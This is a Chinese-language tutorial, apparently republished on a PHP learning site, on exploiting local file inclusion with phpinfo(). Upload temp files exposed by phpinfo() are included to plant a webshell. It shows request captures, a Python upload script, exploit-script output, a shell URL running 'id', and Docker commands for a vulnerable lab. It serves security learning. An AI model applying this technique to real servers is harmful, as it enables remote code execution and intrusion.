0x00 简介
php本地文件包含漏洞相关知识,乌云上早有相应的文章,lfi with phpinfo最早由国外大牛提出,可参考下面两篇文章。利用的原理是利用php post上传文件产生临时文件,phpinfo()读临时文件的路径和名字,本地包含漏洞生成1句话后门。
此方式在本地测试成功,为了方便大家学习,减小学习成本,已构建docker环境,轻松测试。将构建好的docker放在国外VPS上,使用github项目 lfi_phpinfo中poc文件夹下的脚本,本地运行,依然可以getshell。说明这种方式是可行的,对网络要求不是很高。
-
Docker Hub 镜像地址: janes/lfi_phpinfo
-
github 项目地址: lfi_phpinfo
源码存放在 code目录下, 可使用docker再现,poc目录下存放利用脚本
paper:
http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf
立即学习“PHP免费学习笔记(深入)”;
http://www.insomniasec.com/publications/LFI%20With%20PHPInfo%20Assistance.pdf
0x01 php 上传
向服务器上任意php文件 post请求上传文件时,都会生成临时文件,可以直接在phpinfo页面找到临时文件的路径及名字。
- post上传文件
php post方式上传任意文件,服务器都会创建临时文件来保存文件内容。
在HTTP协议中为了方便进行文件传输,规定了一种基于表单的 HTML文件传输方法
其中要确保上传表单的属性是 enctype=”multipart/form-data,必须用POST 参见: php file-upload.post-method
其中PHP引擎对enctype=”multipart/form-data”这种请求的处理过程如下:
- 请求到达
- 创建临时文件,并写入上传文件的内容
- 调用相应PHP脚本进行处理,如校验名称、大小等
- 删除临时文件
PHP引擎会首先将文件内容保存到临时文件,然后进行相应的操作。临时文件的名称是 php+随机字符 。
- $_FILES信息,包括临时文件路径、名称
在PHP中,有超全局变量$_FILES,保存上传文件的信息,包括文件名、类型、临时文件名、错误代号、大小
0x02 手工测试phpinfo()获取临时文件路径
- html表单
文件 upload.html
#!html
-
浏览器访问 upload.html, 上传文件 file.txt
#!php
-
burp 查看POST 信息如下
#!bashPOST /LFI_phpinfo/phpinfo.php HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://127.0.0.1/LFI_phpinfo/upload.htmlConnection: closeContent-Type: multipart/form-data; boundary=---------------------------11008921013555437861019615112Content-Length: 368-----------------------------11008921013555437861019615112Content-Disposition: form-data; name="file"; filename="file.txt"Content-Type: text/plain-----------------------------11008921013555437861019615112Content-Disposition: form-data; name="submit"Submit-----------------------------11008921013555437861019615112--
-
浏览器访问,phpinfo 返回如下信息:
#!php_REQUEST["submit"] Submit_POST["submit"] Submit_FILES["file"] Array ( [name] => file.txt [type] => text/plain [tmp_name] => /tmp/phpufdCHh [error] => 0 [size] => 33 )
得到tmp_name 路径
0x03 python脚本 upload file
#!pythonimport requestshost = '127.0.0.1'url = 'http://{ip}/LFI_phpinfo/phpinfo.php'.format(ip=host)file_ = '/var/www/LFI_phpinfo/file.txt'response = requests.post(url, files={"name": open(file_, 'rb')})print(response.text) -
部分返回结果
#!php
_FILES["name"] Array( [name] => file.txt [type] => [tmp_name] => /tmp/php7EvBv3 [error] => 0 [size] => 33)
0x04 本地搭建环境
-
get shell
#!bash$ python lfi_phpinfo.py 127.0.0.1LFI with phpinfo()==============================INFO:__main__:Getting initial offset ...INFO:__main__:found [tmp_name] at 67801INFO:__main__:Got it! Shell created in /tmp/gINFO:__main__:Wowo! \m/INFO:__main__:Shutting down...
-
firefox 访问
#!bashhttp://127.0.0.1/LFI_phpinfo/lfi.php?load=/tmp/gc&f=iduid=33(www-data) gid=33(www-data) groups=33(www-data)
说明getshell成功,之后就可以自由发挥了~~
0x05 使用 docker 构建环境
docker的基本用法,这里就不阐述了,可自行google。这里提供了两种构建镜像源的方式,使用github lfi_phpinfo中Dockerfile自行构建,或使用我已经构建好的镜像 janes/lfi_phpinfo
- 镜像源
-- [php 1="官方源" 2="2="2="2="2="language=":5.6-apache"""""\"][/php] /php 5
或
-- janes/lfi_phpinfo
- 构建环境运行测试
获取 github lfi_phpinfo的源码,切换到web目录下,开始构建环境进行测试。这里提供三种方式运行
-
方式1 使用php官方源运行测试
#!bashdocker run --rm -v code/:/var/www/html -p 80:80 php:5.6-apache
-
方式2 使用构建好的镜像 janes/lfi_phpinfo运行测试
#!bashdocker pull "janes/lfi_phpinfo"docker run --rm -p "80:80" janes/lfi_phpinfo
-
方式3 使用docker-compose
#!bash docker-compose up
接下来就可以使用python脚本 getshell 了
#!bashpython lfi_phpinfo.py docker_host_ip
0x06 结束语
动手实践 LFI with PHPInfo利用的过程,其实并不像看文章过程那样顺利,期间多多少少会碰见一些与环境有关的问题,而解决这些问题会耗费精力,这正是催生我用docker来构建测试环境想法的来源,希望能给网络安全的热爱者们提供更方便的学习环境。最后感谢[LFI with PHPInfo本地测试过程]文章的作者,给我研究LFI with phpinfo提供了不少帮助。
相关文章
php静态网页设计怎样创建基础页面_php静态网页设计基础页面搭建步骤【教程】
怎么用phpstudy运行浏览器php_phpstudy使用步骤【方法】
拿到php源码怎么建站_拿到php源码建站流程与配置法【技巧】
php怎么偷源码_php偷源码风险与合法替代建议
php源码怎么变成软件_php源码变软件打包与封装法【技巧】
本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
更多热门AI工具
更多相关专题
抖音网页版入口与视频观看指南 抖音官网视频在线访问本专题汇总了抖音网页版的入口链接、官方登录页面以及视频观看入口,帮助用户快速访问抖音网页版,提供免登录访问方式和直接进入视频播放页面的方法,确保顺利浏览和观看抖音视频。
63
2026.02.04
学习通网页版入口与在线学习指南 学习通官网登录与使用方法本专题详细汇总了学习通网页版入口与登录方法,提供学习通官方网页端入口、学生登录平台、网页版使用指南等内容,帮助用户快速稳定地登录学习通官网,顺利进入学习平台,提升学习效率和体验。
9
2026.02.04
Python Web 框架 Django 深度开发本专题系统讲解 Python Django 框架的核心功能与进阶开发技巧,包括 Django 项目结构、数据库模型与迁移、视图与模板渲染、表单与认证管理、RESTful API 开发、Django 中间件与缓存优化、部署与性能调优。通过实战案例,帮助学习者掌握 使用 Django 快速构建功能全面的 Web 应用与全栈开发能力。
9
2026.02.04
Java 流式处理与 Apache Kafka 实战本专题专注讲解 Java 在流式数据处理与消息队列系统中的应用,系统讲解 Apache Kafka 的基础概念、生产者与消费者模型、Kafka Streams 与 KSQL 流式处理框架、实时数据分析与监控,结合实际业务场景,帮助开发者构建 高吞吐量、低延迟的实时数据流管道,实现高效的数据流转与处理。
3
2026.02.04
Golang 容器化与 Docker 实战本专题深入讲解 Golang 应用的容器化与 Docker 部署,涵盖 Docker 基础概念、容器构建与镜像管理、Go 应用的 Dockerfile 编写、跨平台容器部署与优化、Docker Compose 和 Kubernetes 部署工具。通过实际案例,帮助学习者掌握 如何将 Golang 应用容器化并实现高效部署与管理,提升系统的可扩展性与运维效率。
3
2026.02.04
更多热门下载
更多相关下载
更多精品课程
相关推荐/热门推荐/最新课程更多最新文章
Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号
-






